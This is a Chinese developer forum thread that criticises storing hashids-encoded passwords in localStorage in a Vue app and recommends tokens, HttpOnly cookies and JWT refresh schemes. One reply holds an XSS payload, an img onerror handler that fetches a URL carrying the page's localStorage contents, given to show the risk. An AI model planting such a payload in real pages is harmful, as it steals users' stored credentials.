前端用 Vue 框架搭建的,生成一串密钥保存在 .env 里
使用 hashids 把用户密码加密保存到 localStorage ,在登录界面 取出密文用 hashids 解密,再自动填充到 password 中。
|  |      1sheeta      2023-02-25 17:57:17 +08:00  1 掩耳盗铃... | 
|      2renmu      2023-02-25 18:26:27 +08:00 via Android 你怎么解密他就怎么解密,所以你为什么要把密码存在本地 | 
|  |      3shakaraka PRO hashids 放前端用? | 
|  |      4yaott2020      2023-02-25 18:29:26 +08:00 via Android 建议上 OIDC | 
|  |      5DoveAz      2023-02-25 18:31:50 +08:00 为什么要破解,我把你加密的密码存到我的 locaostorage 不就行了 | 
|      6okakuyang      2023-02-25 18:34:34 +08:00 1.攻击者要找到脚本漏洞使用 xss 攻击方式获取用户密码 2.应该保存 token 登陆,而不是密码明文。 | 
|      7yjim OP | 
|      8yjim OP | 
|      11yjim OP | 
|  |      12a33291      2023-02-25 19:06:08 +08:00 只要明文传输,fiddler 抓一下就能看到,甚至都不需要知道他怎么加密的 | 
|      14wangxiaoaer      2023-02-25 19:07:34 +08:00 我就没搞懂,你前面搞这么复杂,后端请求难道不验证了吗?如果验证携带什么?如果不验证就类似开放的系统,破了其他用户密码有毛用? | 
|      15Senorsen      2023-02-25 19:14:48 +08:00 MAC 怎么拿的?? | 
|  |      16rabbbit      2023-02-25 19:14:48 +08:00 如果部分地方用了 v-html 渲染用户输入的内容 ,则可能被通过 XSS 攻击的方式获取到密码,例如: <div v-html="content"></div> content:'<img src="" onerror="fetch(`http://127.0.0.1/${JSON.stringify(localStorage)}`)" />' | 
|  |      18rabbbit      2023-02-25 19:21:06 +08:00 想要安全就用 cookies ,然后设置 Secure  和 HttpOnly | 
|      19yjim OP @Senorsen 只是一个思路,不一定非要是 mac ,像一些大厂,你异地登录就能识别出来,然后要求手机验证,总有办法进行识别的。我原先想着在前端做一些保护,比如加密存储 token ,不过看起来前端是彻底暴露的,所以重点还是要在后端做好防护才行。 | 
|  |      22yaott2020      2023-02-25 20:06:32 +08:00 via Android 你不如设置 cookie 存个 token ,设置过期时间 | 
|  |      26leaflxh      2023-02-26 16:58:01 +08:00 可以考虑非对称加密,客户端拿公钥加密存到本地,然后把密文发到服务端用私钥解密 | 
|  |      27leaflxh      2023-02-26 16:58:35 +08:00 (没用过 jwt | 
|      28zhengfan2016      2023-02-26 17:09:26 +08:00 没看懂帖子想说什么,如果是 jwt 的话,前端保存 token 到 localstorage 就好了,jwt 指定一个小时过期,即将过期的前半个小时,前端判断快过期了,自己调用接口用旧 token 去更换新 token 。 只要用户一直在线四处浏览网页,就不会掉登录。 闲麻烦就用双 token ,一个时效长一点的 token(14 天)和时效一个小时的 token ,平时只用短时效的 tolen 请求 api ,token 快过期了,再用长 token 去刷新短 token |